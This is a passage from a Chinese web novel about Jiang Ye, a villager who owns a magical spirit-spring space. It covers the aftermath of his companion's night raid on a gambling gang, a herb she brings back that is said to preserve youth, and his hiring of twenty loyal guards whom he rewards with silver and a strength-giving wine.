正对着窗户发呆的林间雪被吓了一跳,发出一声短促的惊呼。
三女的心瞬间提到了嗓子眼,齐刷刷地看了过去。
只见那银影稳稳落地,正是团子。
还不等她们松一口气,一道矫健的身影紧随其后,单手在窗棂上一撑,便如飞燕般轻盈地翻了进来,落地时没有发出一丝声响。
来人一身利落的黑色夜行衣,将那火爆惹眼的身段勾勒得淋漓尽致,脸上蒙着黑巾,唯有一双美眸在烛火下亮得惊人,带着一丝战斗后的兴奋和飞扬的神采。
不是慕容晴又是谁?
“晴儿姐姐!”
“慕容姐姐!”
看清来人,白梦夏三女脸上的忧虑瞬间被狂喜取代,几乎是同时冲了上去,叽叽喳喳地围住了她。
“你回来啦!”
“没受伤吧?快让我们看看!”
被三个风格各异的美人簇拥着,叽叽喳喳地关心着,慕容晴只觉豪气干云,胸中那点杀戮带来的戾气也消散得一干二净。
她大笑着,将今夜的行动一五一十地讲了出来。
从团子探路,精准找到防卫漏洞;到她带人潜入,用迷香悄无声息地放倒大片打手;再到最后直捣黄龙,斩杀刀疤强……
她讲得言简意赅,却惊心动魄。
三女听得时而紧张地屏住呼吸,时而又因那些恶棍的下场而发出一声压抑的惊叹,看向慕容晴的眼神,简直像是在看传说中的女战神。
“嗷呜!嗷呜!”
桌子上,团子不甘寂寞地挺起小胸膛,高高扬起脑袋,得意洋洋地叫唤着,仿佛在邀功,说自己才是功劳最大的那个。
那副得意的小模样,把众人都给逗笑了。
“是是是,你功劳最大,是头功!”慕容晴笑着伸出手,爱怜地揉了揉它毛茸茸的小脑袋。
团子舒服地眯起眼睛,在她掌心蹭了蹭,喉咙里发出满足的咕噜声。
屋内紧张压抑的气氛一扫而空,取而代之的是劫后余生的庆幸与家人团聚的温馨。
江夜看着她们,脸上带着淡淡的笑意。直到此刻,他心中那根看不见的弦才算真正松了下来。
慕容晴的目光越过叽叽喳喳的姐妹,落在江夜身上,见他神情自若,心中那点求表扬的小心思顿时没了,取而代之的是一种莫名的心安。
她想起什么,忽然狡黠一笑,从怀中摸出那个温润的白玉盒子,随手向江夜抛了过去。
“接着!顺手给姐妹们带了点小礼物。”
玉盒划过一道优美的弧线,江夜抬手,稳稳接住。
“什么礼物呀?”白梦秋最好奇,立刻凑了过来,一双水灵灵的大眼睛眨巴着,紧紧盯着江夜手中的盒子。
白梦夏和林间雪也投来好奇的目光。
慕容晴扬了扬下巴:“那刀疤强临死前,为了保命,说密室里藏着一件奇珍,叫什么‘凝脂草’,说是能延缓岁老,青春永驻呢。”
青春永驻!
这四个字,宛如一道惊雷,瞬间劈中了三个女人。
“真的假的?”白梦秋第一个惊呼出声,眼睛瞪得溜圆,死死盯着那个玉盒,呼吸都急促了。
白梦夏虽然性子沉稳,但一双温柔的美眸中也瞬间迸发出惊人的光彩,紧紧抿着嘴唇,显然内心极不平静。
林间雪更是小手捂住了嘴巴,满脸的不敢置信。对任何一个女人而言,这四个字的诱惑力都是致命的。
江夜看着她们激动的模样,笑了笑,在众人期待的目光中,修长的手指轻轻一挑,打开了盒盖。
霎时间,一股无法用言语形容的奇异清香,从盒中溢散而出,瞬间充斥了整个房间。仅仅是闻上一口,就让人感觉浑身的毛孔都舒张开来,四肢百骸说不出的舒泰。
盒内,一株通体莹白、状如灵芝的小草静静躺在金色绸缎上。它仿佛是用最顶级的羊脂白玉雕琢而成,没有一丝杂色,在烛火下流转着淡淡的光晕,看上去便知不是凡品。
“哇……好香,好漂亮……”
江夜看着她们激动的模样,心中好笑,目光却落在那凝脂草上,若有所思。
这东西,蕴含的灵气虽然比不上灵泉,但却极为精纯温和。
若是种在灵泉空间中,用灵泉水催生……
一个大胆的念头在他脑中一闪而过。
他合上玉盒,将那股异香隔绝,笑着对众女说:“确实是好东西,不过怎么用,还得我来研究研究。”
他看着慕容晴,眼中带着一丝赞许:“这次,你做的很好。”
一句简单的夸奖,却让慕容晴的心跳漏了一拍。
她看着江夜那双深邃的眼眸,脸颊微热,故作豪爽地一挥手:“小事一桩!敢惹我们家的人,就得做好付出代价的准备!”
……
第二天,天刚蒙蒙亮。
县城里卖早点的铺子刚刚支起炉灶,第一笼包子的热气才升腾起来,一声划破晨曦的凄厉尖叫,便从城西最混乱的街区猛地炸开!
“**啦——!万贯堂……万贯堂被灭门了!”
这一嗓子,仿佛在平静的油锅里泼进了一瓢冷水,整个县城瞬间炸开了锅。
无
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数百姓从睡梦中惊醒,好事者更是连衣服都来不及穿好,纷纷朝着万贯堂的方向涌去。很快,那座平日里让人望而生畏的赌坊门口,便被围得水泄不通。
只见那扇平日里紧闭的黑漆大门,此刻竟大敞四开,门上还带着被暴力破坏的痕迹。一股浓郁到令人作呕的血腥味,从院内滚滚涌出,让站在门口的人群齐齐变了脸色,几个胆小的当场就扶着墙根干呕起来。
这消息像是长了翅膀,不到半天,就飞回了百里之外的稻花村。
当天上午,一个刚从县城回来的村民,像一阵风似的冲回了稻花村。他还没进村口,就扯着嗓子,唾沫横飞地大喊起来。
“出大事了!出大事了!县城里的万贯堂,被人给一锅端了!”
村里人一听,纷纷从家里探出头,好奇地围了上来。
那村民见人聚多了,更是来劲,站在村口的大槐树下,手舞足蹈,将自己听来的消息添油加醋地描述着:“你们是没看见那场面!血啊,流得跟河似的!刀疤强,那个在县城横着走的恶霸,脑袋都快被人砍下来了!几十个打手,一个没留,全**!听说啊,里面的金山银山,也被人搬得一干二净,耗子进去都得含着眼泪出来!”
村民们听得一愣一愣的,随即爆发出幸灾乐祸的议论声。
“报应啊!那万贯堂就不是个好东西,不知害了多少人家破人亡!”
“就是!死得好!这下县城可算清净了!”
就在众人议论纷纷,猜测是哪路神仙替天行道的时候,一个老头突然一拍大腿,声音都变了调。
“等等……万贯堂?昨天……昨天来咱们村,闯进江夜家的,不就是万贯堂的人吗?!”
这一句话,像是一盆冰水,瞬间浇灭了全场火热的气氛。
所有议论声戛然而止。
村民们脸上的幸灾乐祸,瞬间凝固,取而代之的是一片茫然和惊愕。
他们集体懵了。
前一天下午,万贯堂的人气势汹汹地闯进江夜家,结果被打断了腿,屁滚尿流地逃了出去。
当天晚上,万贯堂的老巢就被连根拔起,鸡犬不留。
这……
这天底下,哪有这么巧的事?!
一股刺骨的寒意,猛地从所有人的脚底板,直冲天灵盖!
人群死一般的寂静。
所有人,仿佛被施了定身法,不约而同地,缓缓转过头,将目光投向了村东头,那座矗立在晨光中的高大院落。
冬日的阳光下,那座青砖大院静悄悄的,屋顶的积雪反射着刺眼的光。
可在这一刻,所有人的眼里,那不再是一座令人羡慕的豪宅,而是一头匍匐在村口的洪荒巨兽,仅仅是看着,就让人从灵魂深处感到战栗。
如果说,之前的江夜,在他们眼中是能人,那么此刻,那份敬畏,已经彻底变了味。
那不再是简单的对强者的崇拜,而是对一种无法抗衡的伟力的……恐惧。
一夜之间,让一个盘踞县城多年的黑恶势力人间蒸发,不留半点痕迹……
这根本不是凡人能有的手段!
这不是神仙,就是阎王!
第132章 惹到活阎王了
与此同时,刘巧嘴家。
破败的土坯房里,草药混合着皮肉腐烂的恶臭,几乎凝成了实质,熏得人头晕。
刘巧嘴端着一碗黑乎乎的药汤,正小心地给炕上躺着的王大虎喂药。
王大虎两条腿都被废了,昨日被吊起来打的伤口还渗着血水,将身下的破烂被褥染得污黑。
他虽然疼得浑身直哆嗦,但一双小眼睛里,却满是怨毒。
刘巧嘴看着儿子这副惨状,心疼得就像有刀子在割,很快那份心疼就化为了对江夜更深的恨意。
“那杀千刀的江夜……下手真**黑!等你好起来,咱们……咱们再想办法!我就不信,他能一辈子都这么横!”
王大虎没说话,只是喉咙里发出一阵“嗬嗬”的声响,显然是把刘巧嘴的话听了进去。
就在这时,院门被人“砰”的一声撞开,一道人影连滚带爬地冲了进来,正是刘多宝。
他脸色惨白如纸,一进屋就指着外面,上气不接下气地喊:“出……出大事了!死……都**!”
刘巧嘴被他吓了一跳,没好气地骂道。
“你嚎什么丧!大清早的,咒谁死呢?”
“不……不是……”刘多宝哆哆嗦嗦指着门外,话都说不利索了,:“是……是县里的万贯堂!昨晚上……被人给……给一锅端了!”
“啥?”
刘巧嘴和王大虎的动作瞬间僵住。
万贯堂?
不是昨天才来过村里吗?
刘巧嘴的脑子“嗡”的一下,第一反应就是不信。她一把揪住刘多宝的衣领,厉声喝问:“你从哪听来的浑话?那可是万贯堂!刀疤强手下几十号人,谁能动得了他们?”
“真的!全村……全村都在说!”刘多宝快哭了,指着外面,“刚从县里回来的人传的消息,那院子里的血……流得跟河似的!刀疤强,还有那个麻三,几十个打手……一个没留,全**!”
刘巧嘴的心猛地一沉,松开刘多宝,疯了似的连滚带爬地扑到门口,侧着耳朵朝外听,外面的喧闹一字不落得钻进她的耳朵。
“听说啊,刀疤强的脑袋都快被人砍下来了,就扔在院子当中!”
“何止啊!几十号人,一个活口没留,血流成河……”
“老天开眼啊!这伙畜生,总算遭报应了!”
“可是……你们不觉得这事太巧了吗?”一个老头压低了声音,语气里带着一丝说不清道不明的恐惧,“昨天下午,万贯堂的人刚来江夜家里找事……当天晚上,老窝就被人连根拔了……”
刘巧嘴听到这句话,脑子里“轰”的一声,炸成一片空白。
她僵硬地转过头,看着炕上半死不活的儿子,再想到昨天院子里,江夜那双看**一样冰冷淡漠的眼睛。
一股无法形容的寒气,猛地从脚底板直冲天灵盖!
“活……活阎王……惹到活阎王了……”她嘴唇哆嗦着,发出的声音像是从牙缝里挤出来的,充满了无边的恐惧。
炕上的王大虎也终于反应了过来。
万贯堂几十号带刀的汉子,一夜之间就没了。
江夜能灭了万贯堂,那要捏死他,不就跟捏死一只蚂蚁一样简单?
江夜知道是自己出的主意,带人去他家抢神酒的,现在万贯堂的人都**,那下一个……是不是就轮到自己了?
想到这里,王大虎浑身一个激灵,也顾不上身上的剧痛了,挣扎着就要从炕上爬起来,嘴里发出惊恐的嘶吼。
“娘!跑!咱快跑!跑得越远越好!不然他下一个就要杀我们了!”
刘巧嘴也被儿子这一嗓子吼回了神。
对!跑!
必须跑!
再不跑,就没命了!
她再也顾不上其他,手忙脚乱地开始收拾东西,嘴里语无伦次地念叨着:“跑,跑,现在就跑……”
……
另一边,村口的大槐树下。
王囤站在人群
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外围,听着村民们唾沫横飞地描述着万贯堂的惨状,他的心跳也在加速,但那不是害怕,而是激动。
一夜之间,覆灭整个万贯堂。
这是何等通天的手段!
他意识到,能为江夜这样的人办事,不仅仅是报恩,更是他王囤这辈子最大的机缘!
他深吸一口气,不再理会那些议论,挺直了腰板,大步走向村里那块最显眼的公告栏。
在众人好奇的注视下,王囤小心翼翼地从怀里掏出张招护院的告示,无比郑重地将它贴在了最中央的位置。
村民们立刻围了上来。
“写的啥啊?”
“王囤,这上面是啥?”
一个识字的后生挤上前去,一字一句地念了起来。
“招募护院……管吃住……月钱……”当念到月钱时,那后生声音猛地拔高,“月钱……五……五两!”
“啥?!”
人群彻底炸开了锅。
“五两!一个月五两银子!俺没听错吧?!”
“天爷啊!抢钱都没这么快!”
一个汉子不敢相信自己的耳朵,以为是自己没睡醒,抬手就给了自己一个响亮的耳光。
“嘶——疼!是真的!”
整个稻花村,彻底轰动了。
无数正在家里、地里干活的青壮年男子,听到这个消息,眼睛瞬间就红了。
他们丢下锄头,扔下碗筷,潮水般涌向村口,涌向王囤。
“俺!俺报名!”
“选我!我力气大,能一个人扛起一头牛!”
“王囤哥!咱俩可是从小玩到大的,你可得帮帮我!”
王大壮和刘多宝,也被这天价工钱刺激得红了眼。
王大壮仗着人高马大,硬生生从人群里挤出一条路,凑到王囤面前。
嘿嘿笑道:“囤哥,咱都是一个村的,这好事可不能忘了兄弟。”
“对对,囤哥,还有我!算我一个!”刘多宝腆着脸,笑得像朵菊花。
第133章 这**才叫生活!
王囤看着挤到面前,一脸谄媚的王大壮和刘多宝,眉头顿时皱了起来。
他想起这两人平日里在村中游手好闲,斗鸡走狗的德行,再想起江夜交代的“身家清白,人品过硬”,脸上浮现出毫不掩饰的鄙夷。
“江夜兄弟说了,咱们招的是保家护院的兄弟,不是地痞无赖!凡是那些平日里手脚不干净、偷鸡摸狗、嘴巴不饶人、人品低劣的,一概不要!”
王囤这句话掷地有声,每一个字都像一记响亮的耳光,狠狠抽在王大壮和刘多宝的脸上。
两人脸上的笑容瞬间僵住,血色“唰”地一下就涌了上来,从脖子根一直红到天灵盖。
周围的村民先是一愣,随即反应过来王囤这话是在骂谁,瞬间爆发出哄堂大笑。
“哈哈哈哈!人品低劣!这说的不就是王大壮他们吗?”
“就是,整天不干正事,现在想占便宜,门儿都没有!”
“王囤说得对!这种人要是进了护院队,那不是害人吗?”
嘲笑声、指点声,像无数根钢针,密密麻麻地扎进王大壮和刘多宝的心里。
他们俩站在人群中央,只觉得所有人的目光都带着钩子,要把他们扒光了扔在雪地里示众。
刘多宝听着这些指点声,一张脸涨成了猪肝色,连屁都不敢放一个,捂着脸,灰溜溜地从人群的缝隙里挤了出去,跑得比兔子还快。
王大壮仗着脸皮厚,还想嘴硬撑一下场面。
他梗着脖子,色厉内荏地指着王囤骂道:“你……你牛气什么!不就是给江夜当狗吗?一个月五两银子招护院,我看他能得意几天!迟早把家底败光!”
骂完,他也不等王囤回话,就在村民们更加响亮的嘲笑声中,狼狈不堪地落荒而逃。
王大壮憋着一肚子的邪火,跟头把式地跑回了家。
他刚一脚踏进院子,王翠花就立刻迎了上来,急吼吼地追问:“怎么样?抢到名额没?那可是五两银子啊!”
王大壮一言不发,黑着脸甩开她的手,一屁股坐在冰冷的门槛上。
王翠花看他这副熊样,心里顿时凉了半截,但还是不死心地追问:“你倒是说话啊!到底成没成?”
王大壮烦躁地摇了摇头。
这个动作,瞬间点燃了王翠花这个**桶。
“废物!你就是个废物!”
王翠花的嗓门猛地拔高,尖利得能刺穿人的耳膜。
“这么好的差事你都抢不到!你还能干点啥?一个月五两银子啊!有了这钱,老娘还用得着天天啃这该死的咸菜干?你看看人家江夜家,再看看咱们家!都是一个村的,怎么就差这么多!都怪你这个窝囊废,没本事,连累得老娘跟你一起受穷!”
王翠花骂骂咧咧,唾沫星子横飞。
往日里,王大壮早就缩着脖子听训了。可今天,他在外面受了天大的羞辱,心里那股怨气本就堵得快要**。此刻被王翠花这么一骂,那根紧绷的弦,“啪”的一声,彻底断了。
“你**还有脸说!”
他双眼通红,一把推开王翠花,怒声咆哮:“还不是因为你!要不是你那张破嘴,整天在村里嚼舌根,得罪了江夜,人家能当着全村人的面不要我吗?!”
“现在好了!全村人都看着老子被人数落,被人家嘲笑!老子的脸都让你给丢尽了!五两银子啊!就因为你这张破嘴,全飞了!”
王大壮像是要把所有的委屈都吼出来,吼完,他通红着眼睛,一脚踹在旁边的柴火垛上,木柴散落一地。
王翠花彻底傻眼了。
她脑子里“嗡嗡”作响,王大壮的每一句话都像一把锤子,狠狠地砸在她的心上。
断了自家的财路!
一个月五两银子的财路!
想到这里,王翠花的心就像被挖掉了一块,疼得她直抽抽。
但她嘴上却不肯认输,泼妇的本性让她立刻把责任推得一干二净。
“你放屁!”她跳着脚尖叫起来,“你自己没本事,还敢赖到老娘头上来了?你要是真有能耐,王囤能不给你面子?说到底还是你这个男人没用!废物!窝囊废!”
“我没用?!”王大壮被她这颠倒黑白的无耻言论气得浑身发抖,他一把抓起地上的一根烧火棍,指着王翠花,“你再说一遍!”
“我就说!你就是个废物!有本事你打我啊!你今天要是敢动老娘一根手指头,老娘就跟你拼了!”王翠花非但不怕,反而挺着胸脯迎了上去,撒起泼来。
两人瞬间扭打在一起,院子里顿时鸡飞狗跳,骂声、哭喊声、东西摔碎的声音混成一团,比村口还要热闹。
……
王翠花家院里的鸡飞狗跳,并未传到江夜家这边。
江夜神清气爽地醒来时,窗外的太阳已经升到了头顶。
卧房内,巨大的火炕依旧暖融融的,空气中弥漫着一股淡淡的馨香,闻之让人心安。
他微微侧头,身边的位置已经空了。
白梦夏姐妹、慕容晴和林间雪不知何时已经起身,正放轻了手脚,在房间里悄无声息地忙碌着。她们以为江夜还在熟睡,动作间带着一种不想惊扰他的默契和温柔。
江夜心中一暖,没有立刻起身惊动她们。他闭上眼睛,心念一动,意识便沉入了一片白雾蒙蒙的奇异空间。
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灵泉空间内,时间流速是外界的十倍。
江夜的意识体没有片刻停留,径直飘向那片漆黑如墨的万年灵土。
灵土的一角,慕容晴带回来的那株凝脂草,已经被他分株种下。
此刻,在灵泉的滋养和十倍时间的催化下,那几株分出来的幼苗不仅全部成活,更是长势喜人,每一株都舒展着莹白如玉的叶片,顶端凝聚着一点露珠般的灵气,散发着沁人心脾的清香。
仅仅一夜,外界不过几个时辰,这里却已经过去了数日。
江夜心中狂喜!
这凝脂草本就是罕见的奇珍,如今在灵泉空间里,不仅能无限繁殖,生长速度更是惊人!
他脑中灵光一闪。
异虎神酒,主打的是强身健体。
那如果用这凝脂草,辅以灵泉水,酿造一种专门养颜美容的神酒呢?
青春永驻,容颜不老……
这八个字,对天下女人的杀伤力,恐怕比任何神兵利器都要恐怖!
一个全新的商机,在他脑中轰然炸开!
赚尽天下女人的钱!
江夜的呼吸都微微急促了几分,一想到未来金山银海堆积的场景,他就忍不住一阵心潮澎湃。
带着这份激动的心情,他从灵泉空间退了出来,缓缓睁开双眼,伸了个懒腰,准备起身。
卧房内轻微的动静,瞬间吸引了四女的注意。
几乎是同一时间,四道风情各异的绝美身影,立刻默契地围了上来。
“夫君,醒了?”
白梦夏最先反应过来,她放下手中的针线活,端着早已备好的温水走了过来。她今日穿着一件淡青色的居家常服,长发用一根简单的木簪挽起,几缕调皮的发丝垂在耳边,温婉贤淑的气质,让人看一眼便觉心头宁静。
“快洗把脸吧,再不起来,太阳都晒屁股啦!”
白梦秋紧随其后,她性子活泼,手里拿着一块干净柔软的棉布巾,蹦蹦跳跳地来到江夜面前,冲他做了个可爱的鬼脸。晨光下,她肌肤胜雪,一双灵动的大眼睛像是会说话的星星,充满了青春的朝气。
慕容晴则抱臂站在一旁,她性格豪爽,虽不像白家姐妹那般细致入微,却也早早将江夜换洗的外衣拿了过来。一双美眸满是笑意。
而林间雪,则默默地走到炕的另一头,手脚麻利地开始为他整理床铺。她低着头,俏脸带着一丝淡淡的红晕,丰腴的身段在忙碌中勾勒出惊心动魄的曲线。
四女环绕,温香软玉。
一个温柔似水,一个娇俏可爱,一个英姿飒爽,一个柔媚丰腴。
江夜心中一片舒爽,只觉得这**,才叫生活!
第134章 给的不是钱,是命!
江夜洗漱完毕,四女已经将热气腾腾的早饭摆上了桌。
小米粥熬得金黄粘稠,配上几样爽口的小菜,还有昨晚剩下的肉片,简单却温馨。
饭桌上,江夜看着身边叽叽喳喳的四个女人,心情格外舒畅。
这日子,过得真是神仙来了都不换。
吃过早餐,院门便被敲响了。
王囤带着一丝掩不住的激动走了进来,他先是恭敬地对着江夜行了一礼,然后才站直了身子。
“江夜兄弟,人……都选好了。”王囤的声音有些发紧,他从怀里掏出一份写满了字的粗麻纸,恭敬地递了过去。
“按照您的吩咐,体力差的不要,手脚不干净的不要,嘴碎人品差的,俺一个都没让他们沾边。这是俺挑出来的二十个人,他们的名字和家底,都写在上面了。”
江夜接过名单,目光在纸上扫过。
名单上的人,他大多有些印象,都是村里那些面朝黄土背朝天,平日里话不多,但为人老实本分的汉子。他们唯一的共同点,就是穷。有的是家里孩子多,有的是老人常年卧病在床,几乎家家户户都揭不开锅。
这些人,但凡有一口饱饭吃,就不会走上歪路。
江夜满意地点点头,将名单递还给王囤。“你办事,我放心。去,把他们都叫过来,就在这院里集合。”
“好嘞!”王囤得了夸奖,脸上顿时放出光来,感觉浑身的骨头都轻了几两。他挺直腰板,应了一声,转身大步流星地去了。
很快,院子外传来一阵局促的脚步声。
二十名青壮汉子跟着王囤,鱼贯而入。
他们身上穿着打满补丁的破旧冬衣,有的人脚上甚至还裹着烂布条,站在江夜家这干净整洁的院子里,一个个都显得手足无措,连手脚都不知道该往哪里放。
他们低着头,不敢直视院中悠闲坐着的江夜,眼神里混杂着敬畏、羡慕,还有对未来的渴望与不安。
江夜的目光从他们身上一一扫过,将每个人的神情都尽收眼底,没有多说废话,拿出早已备好的一沓契约和一盒印泥,放在桌上。
“想跟着我江夜吃饭,就得守我的规矩。这是死契,一旦签了,你们的命就是我的。往后我让你们往东,你们不能往西,让你们打狗,你们不能撵鸡。当然,只要你们忠心,我江夜也绝不会亏待你们。”
江夜的声音平淡,却带着一股不容置疑的威严。
死契!
汉子们心中一凛,但脸上却没有丝毫犹豫。
在这人命不如狗的乱世,他们这些穷苦人家的命,本就一文不值。能用这条贱命换一个让家人吃饱穿暖的机会,别说签死契,就是当场让他们去拼命,他们也不会皱一下眉头!
“我签!”
一个身材最为魁梧的汉子第一个站了出来,他大步走到桌前,拿起一张契约,看也不看,直接按下了自己的手印。
“我也签!”
“算我一个!”
有人带头,剩下的人再无顾虑,争先恐后地涌上前来。
不到一炷香的功夫,二十份死契全部签完。
从这一刻起,这二十个人的身家性命,便彻底归江夜所有。
“很好。”江夜看着桌上的一沓契约,嘴角勾起一抹笑意。
他看向王囤,示意了一下。
王囤立刻会意,点了几个人和他一起,从屋里抬出了几个沉甸甸的大木箱。
“砰!砰!砰!”
几个大箱子被放在院子中央,发出沉闷的声响。
所有人的目光都被吸引了过去,好奇地猜测着里面装的是什么。
在众人好奇的注视下,王囤上前,一口气将箱子盖全部掀开。
一瞬间,所有人都屏住了呼吸。
前面几个箱子里,是叠放得整整齐齐的棉衣棉裤,散发着新棉花的味道。
而另外几个箱子里,没有粮食,没有武器,只有一摞摞码放整齐的银锭!
雪白的银锭在冬日的阳光下,反射出刺眼又迷人的光芒,几乎晃花了所有人的眼。
院子里响起一片倒吸凉气的声音,汉子们一个个眼珠子都快瞪出来了,喉头疯狂滚动,连呼吸都忘了。
他们这辈子,别说见,就是听都没听说过这么多钱!
江夜缓缓站起身,走到箱子前,朗声宣布。
“从今天起,你们就是我江夜的人。”
“这棉衣,你们每人两套,另外这些银子,是给你们预支的安家费,每人十两,拿回去,给你们的婆娘和娃买点好吃的。”
“轰!”
“十两”这两个字,就像一道天雷,在二十名汉子的脑子里轰然炸开。
整个院子,瞬间陷入了一片死寂。
所有人都像是被雷劈了一样,呆呆地站在原地,脸上满是极致的骇然与不敢置信。
十两银子?!
对他们这些穷苦人家
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来说,一辈子都未必能攒下这么多钱!这笔钱,能让家里漏风的屋顶换上新瓦,能让病榻上咳血的老娘请个好大夫,能让自家瘦得像猴儿一样的娃儿吃上饱饭,穿上新衣!
“天……天爷啊!我……我没听错吧?是……是十两银子?!”
人群中,终于有人用颤抖的声音,发出了一声梦呓般的惊呼。
这一声,像是一块巨石砸入平静的湖面,瞬间激起千层巨浪!
“好像……好像是真的,我刚刚……也听到了……”
“十两……俺们家一年到头,辛辛苦苦,连一两银子都攒不下来啊!”
“咕咚。”
人群中,王二柱双腿一软,竟“扑通”一声,直挺挺地跪了下去。
他不是被吓的,而是被这从天而降的巨大惊喜给砸晕了!
王囤开始分发安家费,他从箱中拿出一锭锭雪白的银子和一套套扎实的棉衣,发到每一个人手中。
当那一锭冰冷又沉甸甸的十两银锭,和那两套厚实温暖的新棉衣被塞进怀里时,王二柱浑身一颤。
他伸出因为常年干农活而粗糙开裂的手,不敢相信地摸了摸自己的脸,然后狠狠给了自己一个响亮的耳光。
“啪!”
清脆的响声在院中回荡,格外响亮。
“疼……是真的!是真的!”
他感受着脸颊火辣辣的疼痛,眼泪“唰”的一下就涌了出来。他跪在地上,怀里死死抱着银子和棉衣,像个孩子一样嚎啕大哭,哭声里满是压抑了半辈子的辛酸和一朝得见的狂喜。
这一哭,像是点燃了**。
“扑通!扑通!扑通!”
院子里,二十名铁骨铮铮的汉子,竟接二连三地跪了下去。
他们一个个红着眼眶,看着江夜,嘴唇哆嗦着,激动得一句话都说不出来。
他们跪的不是江夜,是自家娃儿的活路,是老娘的救命钱,是一家老小能活下去的希望!
江夜给他们的,不是钱,是命!
“噗通!”
不知是谁带头,第一个对着江夜重重地磕下头去。
紧接着,二十人齐刷刷地跪伏在地,用尽全身力气,将额头狠狠地砸在冰冷的青石板上,发出沉闷的声响。
“谢主人恩典!”
“谢主人恩典!!”
山呼海啸般的吼声,汇成一股震耳欲聋的声浪,在院中激荡,几乎要将屋顶的积雪都震落下来!
第135章 入队礼
江夜坦然受了这一拜,并未多言,只对着屋里正探头探脑的林间雪招了招手。
林间雪会意,转身进了屋。
很快,她抱着一个半人高的酒坛走了出来。
她将酒坛稳稳放在院中的石桌上,伸出素白的小手,轻轻拍开上面的红泥封口。
“啵!”
一声清脆的轻响,仿佛一个信号。
下一瞬,一股浓烈到极致的酒香,混合着一股难以形容的奇异药香,猛地从坛口喷薄而出!
这股香味霸道绝伦,仿佛有自己的生命,瞬间攥住了在场所有人的鼻子,强横地钻入他们的四肢百骸。
仅仅是闻上一口,院子里的汉子们就感觉浑身的血液都开始加速流动,连日来的疲惫和寒意被一扫而空,四肢百骸涌上一股暖洋洋的舒坦劲儿。
他们狠狠地吸了一口这醉人的香气,一个个精神大振,眼睛都亮了几分。
“这……这是……”
王囤离得最近,他瞪大了眼睛,死死盯着那个酒坛,脸上满是骇然。
这味道,他一辈子都忘不了!
这正是江夜前段时间开坛的神仙酒——异虎神酒!
江夜看着众人那副垂涎欲滴的模样,嘴角勾起一抹笑意,声音不大,却清晰地传到每个人耳中。
“今天,你们正式入我江家护院。这坛异虎虎骨酒,便算是给你们的入队礼,每人一碗,强身健体。”
“轰!”
江夜这话,比刚才那一人十两的安家费,还要震撼百倍!
异虎神酒!
那可是传说中喝一口便可延年益寿,百病全消的神酒!
院子里瞬间陷入了死一般的寂静。
所有汉子都像是被施了定身法,一个个张大了嘴,满脸都是活见鬼的表情。
给他们银子,他们已经觉得是天大的恩赐。
现在,居然还要给他们喝这种神仙才能享用的东西?
这不是在做梦吧?
“主……主人,这……这太贵重了!俺们……俺们受不起啊!”王二柱结结巴巴地开口,声音都在发颤,手脚都不知道该往哪放。
“是啊主人!这东西太金贵了,俺们这些贱命,哪配喝这个!”
其他人也纷纷附和,他们虽然无比渴望,但更知道这东西的价值。他们感觉自己的贱命,根本不配沾染这神物的边儿。
江夜眉头一挑。
“我给的,你们就拿着。我江夜手下的兄弟,不能是软脚虾。王囤,给弟兄们盛酒!”
“是!”
王囤听到江夜的话,不再有任何犹豫,拿起桌上的大碗,舀起满满一碗琥珀色的酒液。
酒液澄澈,在阳光下散发着诱人的光泽,那奇异的香气愈发浓郁。
二十名汉子颤抖着双手,从王囤手中接过那沉甸甸的大碗,动作无比虔诚,仿佛接过的不是一碗酒,而是神明赐下的甘露。
“喝!”
王囤自己也端起一碗,对着众**吼一声,然后仰头,一饮而尽!
众人见状,不再迟疑,纷纷学着他的样子,闭上眼睛,将碗中酒液狠狠灌入喉中。
酒液入喉,并不辛辣,反而带着一丝甘甜。
下一秒,一股磅礴如江河的暖流,猛地在他们腹中轰然炸开!
所有人都感觉自己的身体里仿佛引爆了一颗太阳,那股灼热到极致的能量,化作亿万道洪流,瞬间冲向四肢百骸,流遍身体的每一个角落!
“呃啊——!”
有人忍不住发出一声痛苦又畅快的闷哼,浑身青筋暴起,皮肤涨得通红,仿佛要被这股力量撑爆。
一阵阵密集的如同炒豆子般的“噼啪”脆响,从他们体内不断传出!
他们感觉自己的肌肉在撕裂后又飞速重组,浑身上下充满了前所未有的**性力量!
原本因为常年劳作和营养不良而留下的各种暗伤、隐疾,在这股霸道的暖流冲刷下,竟被摧枯拉朽般一扫而空!
这种脱胎换骨般的感觉,让他们几乎要疯狂!
王二柱第一个有了动作,他双目赤红,猛地冲到院角,那里放着一块平日里需要他和另外两个壮汉合力才能抬动的巨大青石锁。
他深吸一口气,弯腰,双手死死扣住石锁的边缘,腰背猛然发力,青筋如虬龙般在手臂上炸现。
“起
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!”
伴随着他一声惊天动地的暴喝,那重达数百斤的石锁,竟被他像抱一捆柴火一样,无比轻松地抱了起来,然后高高举过了头顶!
“啊——!”
王二柱感受着体内汹涌澎湃的力量,仰天发出一声酣畅淋漓的怒吼,满脸都是狂喜与骇然交织的扭曲表情。
“我的天!”
“二柱子……他把石锁举起来了!”
院子里所有人都看傻了,眼珠子瞪得像铜铃。
反应过来后,也纷纷开始测试自己暴涨的力量。
一个汉子对着空地打出一拳,拳风呼啸,竟带起一阵小型旋风,吹得地上的雪沫四散飞扬。
另一个学着王二柱去搬院里的石桌,那平日里纹丝不动的东西,此刻在他手里却如同玩物,被轻易抬起。
院子里,一时间惊呼声、怒吼声、巨石落地的轰鸣声此起彼伏,乱成一团。
他们看着自己那双变得充满力量的手,又看看院中那个负手而立,神情淡漠的江夜,眼神从最初的狂喜,渐渐化为了极致的崇拜与狂热。
原来,刚才那十两银子,那两套棉衣,都只是开胃小菜。
这碗神酒,才是主人真正赐予他们的天大造化!
这是再造之恩!
“噗通!”
王囤带头,再次对着江夜重重跪下。
这一次,他将额头狠狠地磕在冰冷坚硬的青石板上,发出沉闷的“咚”的一声,嘶声力竭地吼道:“愿为主人,赴汤蹈火,万死不辞!”
他身后,那二十名刚刚获得新生的汉子,也齐刷刷地跪了下来,将额头重重砸在地上,发出连成一片的闷响。
“愿为主人,赴汤蹈火,万死不辞!!”
二十名护院齐声怒吼,声音汇成一股震耳欲聋的声浪。
这一刻,他们心中再无他想,只有眼前这个赐予他们新生和力量的男人。
江夜看着众人眼中那股毫不掩饰的狂热,满意地点点头。
他要的,就是这股凝聚力和这股悍不畏死的忠诚。
他摆了摆手,语气依旧平淡。
“都起来吧,解散,明日正式上工。”
第136章 卖了身当奴才
护院们解散了,却一个个都像是踩在云端上,脚步虚浮,神情恍惚。
他们抱着两套崭新厚实的棉衣,揣着那锭沉甸甸的十两银子,只觉得活在了梦里。
王二柱走在最前面,寒风刮在脸上,竟感觉不到一丝冷意,反而有一股热气从胸膛里直往外冒。
